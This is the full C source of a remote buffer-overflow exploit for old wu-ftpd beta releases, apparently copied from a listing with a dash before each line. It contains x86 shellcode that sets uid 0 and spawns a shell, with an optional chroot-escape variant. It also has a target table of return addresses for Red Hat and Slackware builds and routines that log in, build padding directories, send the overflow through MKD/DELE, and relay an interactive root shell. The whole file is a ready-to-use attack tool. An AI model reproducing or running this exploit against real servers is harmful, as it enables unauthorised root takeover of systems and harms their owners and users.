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- /*
- * Remote/local exploit for wu-ftpd [12] through [18]
- * gcc w00f.c -o w00f -Wall -O2
- *
- * Offsets/padding may need to be changed, depending on remote daemon
- * compilation options. Try offsets -5000 to 5000 in increments of 100.
- *
- * Note: you need to use -t >0 for -any- version lower than 18.
- * Coded by smiler and cossack
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <stdarg.h>
- #include <unistd.h>
- #include <errno.h>
- #include <sys/socket.h>
- #include <sys/time.h>
- #include <netinet/in.h>
- #include <netdb.h>
- #include <arpa/inet.h>
-
-
- /* In a beta[12-17] shellcode_A overflow, we will not see responses
- to our commands. Add option -c (use chroot code) to fix this. */
- unsigned char hellcode_a[]=
- "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
- "\xeb\x2c\x5b\x89\xd9\x80\xc1\x06\x39\xd9\x7c\x07\x80\x01\x20"
- "\xfe\xc9\xeb\xf5\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c"
- "\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd"
- "\x80\xe8\xcf\xff\xff\xff\xff\xff\xff"
- "\x0f\x42\x49\x4e\x0f\x53\x48";
-
- unsigned char hellcode_b[]=
- "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
- "\xeb\x66\x5e\x89\xf3\x80\xc3\x0f\x39\xf3\x7c\x07\x80"
- "\x2b\x02\xfe\xcb\xeb\xf5\x31\xc0\x88\x46\x01\x88\x46"
- "\x08\x88\x46\x10\x8d\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e"
- "\x31\xc9\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31"
- "\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80\x31\xc0\x88\x46\x03"
- "\x8d\x5e\x02\xb0\x3d\xcd\x80\x89\xf3\x80\xc3\x09\x89"
- "\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d"
- "\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd\x80"
- "\xe8\x95\xff\xff\xff\xff\xff\xff\x43\x43\x30\x30\x31"
- "\x30\x30\x31\x43\x31\x64\x6b\x70\x31\x75\x6a";
-
-
- char *Fgets(char *s,int size,FILE *stream);
- int ftp_command(char *buf,int success,FILE *out,char *fmt,...);
- int double_up(unsigned long blah,char *doh);
- int resolv(char *hostname,struct in_addr *addr);
- void fatal(char *string);
- int usage(char *program);
- int tcp_connect(struct in_addr host,unsigned short port);
- int parse_pwd(char *in,int *pwdlen);
- void RunShell(int thesock);
-
-
-
- struct type {
- unsigned long ret_address;
- unsigned char align; /* Use this only to offset \xff's used */
- signed short pad_shift; /* how little/much padding */
- unsigned char overflow_type; /* whether you have to DELE */
- char *name;
- };
-
- /* ret_pos is the same for all types of overflows, you only have to change
- the padding. This makes it neater, and gives the shellcode plenty of
- room for nops etc
- */
- #define RET_POS 190
- #define FTPROOT "/home/ftp"
-
-
- /* the redhat 5.0 exploit doesn't work at the moment...it must be some
- trite error i am overlooking. (the shellcode exits w/ code 0375) */
- struct type types[]={
- { 0xbffff340, 3, 60, 0, "BETA-18 (redhat 5.2)", },
- { 0xbfffe30e, 3,-28, 1, "BETA-16 (redhat 5.1)", },
- { 0xb2ffe356, 3,-28, 1, "BETA-15 (redhat 5.0)", },
- { 0xbfffebc5, 3, 0, 1, "BETA-15 (slackware 3.3)", },
- { 0xbffff3b3, 3, 0, 1, "BETA-15 (slackware 3.4)", },
- { 0xbffff395, 3, 0, 1, "BETA-15 (slackware 3.6)", },
- { 0,0,0,0,NULL }
- };
-
- struct options {
- char start_dir[20];
- unsigned char *shellcode;
- unsigned char chroot;
- char username[10];
- char password[10];
- int offset;
- int t;
- } opts;
-
- /* Bit of a big messy function, but hey, its only an exploit */
-
- int main(int argc,char **argv)
- {
- char *argv0,ltr;
- char outbuf[1024], inbuf[1024], ret_string[5];
- int pwdlen,ctr,d;
- FILE *cin;
- int fd;
- struct in_addr victim;
-
- argv0 = strdup(argv[0]);
- *opts.username = *opts.password = *opts.start_dir = 0;
- opts.chroot = opts.offset = opts.t = 0;
- opts.shellcode = hellcode_a;
-
- while ((d = getopt(argc,argv,"cs:o:t:"))!= -1){
- switch (d) {
- case 'c':
- opts.shellcode = hellcode_b;
- opts.chroot = 1;
- break;
- case 's':
- strcpy(opts.start_dir,optarg);
- break;
- case 'o':
- opts.offset = atoi(optarg);
- break;
- case 't':
- opts.t = atoi(optarg);
- if ((opts.t < 0)||(opts.t>5)) {
- printf("Dont have that type!\n");
- exit(-1);
- }
- }
- }
-
- argc -= optind;
- argv += optind;
-
- if (argc < 3)
- usage(argv0);
-
- if (!resolv(argv[0],&victim)) {
- perror("resolving");
- exit(-1);
- }
- strcpy(opts.username,argv[1]);
- strcpy(opts.password,argv[2]);
-
- if ((fd = tcp_connect(victim,21)) < 0) {
- perror("connect");
- exit(-1);
- }
-
- if (!(cin = fdopen(fd,"r"))) {
- printf("Couldn't get stream\n");
- exit(-1);
- }
-
- Fgets(inbuf,sizeof(inbuf),cin);
- printf("%s",inbuf);
-
- if (ftp_command(inbuf,331,cin,"USER %s\n",opts.username)<0)
- fatal("Bad username\n");
- if (ftp_command(inbuf,230,cin,"PASS %s\n",opts.password)<0)
- fatal("Bad password\n");
-
- if (*opts.start_dir)
- if (ftp_command(inbuf,250,cin,"CWD %s\n",opts.start_dir)<0)
- fatal("Couldn't change dir\n");
-
- if (ftp_command(inbuf,257,cin,"PWD\n")<0)
- fatal("PWD\n");
-
- if (parse_pwd(inbuf,&pwdlen) < 0)
- fatal("PWD\n");
-
- srand(time(NULL));
- printf("Making padding directorys\n");
- for (ctr = 0;ctr < 4;ctr++) {
- ltr = rand()%26 + 65;
- memset(outbuf,ltr,194);
- outbuf[194]=0;
- if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
- fatal("MKD\n");
- if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0)
- fatal("CWD\n");
- }
-
- /* Make padding directory */
-
- ctr = 124 - (pwdlen - types[opts.t].align);//180
- //ctr = 152 - (pwdlen - types[opts.t].align);
- ctr -= types[opts.t].pad_shift;
- if (ctr < 0) {
- exit(-1);
- }
- memset(outbuf,'A',ctr+1);
- outbuf[ctr] = 0;
- if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
- fatal("MKD\n");
- if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0)
- fatal("CWD\n");
-
- memset(outbuf,0x90,195);
- d=0;
- for (ctr = RET_POS-strlen(opts.shellcode);ctr<(RET_POS);ctr++)
- outbuf[ctr] = opts.shellcode[d++];
- double_up(types[opts.t].ret_address-opts.offset,ret_string);
- strcpy(outbuf+RET_POS,ret_string);
- strcpy(outbuf+RET_POS+strlen(ret_string),ret_string);
-
- printf("Press any key to send shellcode...\n");
- getchar();
- if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
- fatal("MKD\n");
- if (types[opts.t].overflow_type == 1)
- if (ftp_command(inbuf,250,cin,"DELE %s\n",outbuf)<0)
- fatal("DELE\n");
- /* HEH. For type 1 style we add a dele command. This overflow
- occurs in delete() in ftpd.c. The cause is realpath() in realpath.c
- not checking bounds correctly, overwriting path[] in delete(). */
-
- RunShell(fd);
- return(1);
- }
-
- void RunShell(int thesock)
- {
- int n;
- char recvbuf[1024];
- fd_set rset;
-
- while (1)
- {
- FD_ZERO(&rset);
- FD_SET(thesock,&rset);
- FD_SET(STDIN_FILENO,&rset);
- select(thesock+1,&rset,NULL,NULL,NULL);
- if (FD_ISSET(thesock,&rset))
- {
- n=read(thesock,recvbuf,1024);
- if (n <= 0)
- {
- printf("Connection closed\n");
- exit(0);
- }
- recvbuf[n]=0;
- printf("%s",recvbuf);
- }
- if (FD_ISSET(STDIN_FILENO,&rset))
- {
- n=read(STDIN_FILENO,recvbuf,1024);
- if (n>0)
- {
- recvbuf[n]=0;
- write(thesock,recvbuf,n);
- }
- }
- }
- return;
- }
-
-
- int double_up(unsigned long blah, char *doh)
- {
- int a;
- unsigned char *ptr,*ptr2;
- bzero(doh,6);
- ptr=doh;
- ptr2=(char *)&blah;
- for (a=0;a<4;a++) {
- *ptr++=*ptr2;
- if (*ptr2==0xff) *ptr++=0xff;
- ptr2++;
- }
- return(1);
- }
-
-
- int parse_pwd(char *in, int *pwdlen)
- {
- char *ptr1,*ptr2;
-
- /* 257 "/" is current directory */
- ptr1 = strchr(in,'\"');
- if (!ptr1) return(-1);
- ptr2 = strchr(ptr1+1,'\"');
- if (!ptr2) return(-1);
- *ptr2 = 0;
- *pwdlen = strlen(ptr1+1);
- /* If its just "/" then it contributes nothing to the RET_POS */
- if (*pwdlen==1) *pwdlen -= 1;
- printf("Home Dir = %s, Len = %d\n",ptr1+1,*pwdlen);
- return(1);
- }
-
- int tcp_connect(struct in_addr host,unsigned short port)
- {
- struct sockaddr_in serv;
- int fd;
-
- fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
- bzero(&serv,sizeof(serv));
- memcpy(&serv.sin_addr,&host,sizeof(struct in_addr));
- serv.sin_port = htons(port);
- serv.sin_family = AF_INET;
- if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0) {
- return(-1);
- }
- return(fd);
- }
-
-
- int ftp_command(char *buf,int success,FILE *out,char *fmt,...)
- {
- va_list va;
- char line[1200];
- int val;
-
- va_start(va,fmt);
- vsprintf(line,fmt,va);
- va_end(va);
-
- if (write(fileno(out),line,strlen(line)) < 0)
- return(-1);
-
- bzero(buf,200);
- while(1) {
- Fgets(line,sizeof(line),out);
- #ifdef DEBUG
- printf("%s",line);
- #endif
- if (*(line+3)!='-') break;
- }
- strncpy(buf,line,200);
- val = atoi(line);
- if (success != val) return(-1);
- return(1);
- }
-
- void fatal(char *string)
- {
- printf("%s",string);
- exit(-1);
- }
-
- char *Fgets(char *s,int size,FILE *stream)
- {
- char *ptr;
-
- ptr = fgets(s,size,stream);
- //if (!ptr)
- //fatal("Disconnected\n");
- return(ptr);
- }
-
- int resolv(char *hostname,struct in_addr *addr)
- {
- struct hostent *res;
-
- if (inet_aton(hostname,addr))
- return(1);
-
- res = gethostbyname(hostname);
- if (res == NULL)
- return(0);
-
- memcpy((char *)addr,(char *)res->h_addr,sizeof(struct in_addr));
- return(1);
- }
-
- int usage(char *program)
- {
- fprintf(stderr,"Usage: %s <host> <username> <password> [-c] [-s start_dir]\n",program);
- fprintf(stderr,"\t[-o offset] [-t type]\n");
- fprintf(stderr,"types:\n");
- fprintf(stderr,"0 - %s\n", types[0].name);
- fprintf(stderr,"1 - %s\n", types[1].name);
- fprintf(stderr,"2 - %s\n", types[2].name);
- fprintf(stderr,"3 - %s\n", types[3].name);
- fprintf(stderr,"4 - %s\n", types[4].name);
- fprintf(stderr,"5 - %s\n", types[5].name);
- fprintf(stderr,"\n");
- exit(0);
- }
-
- /* -EOF- */
-
-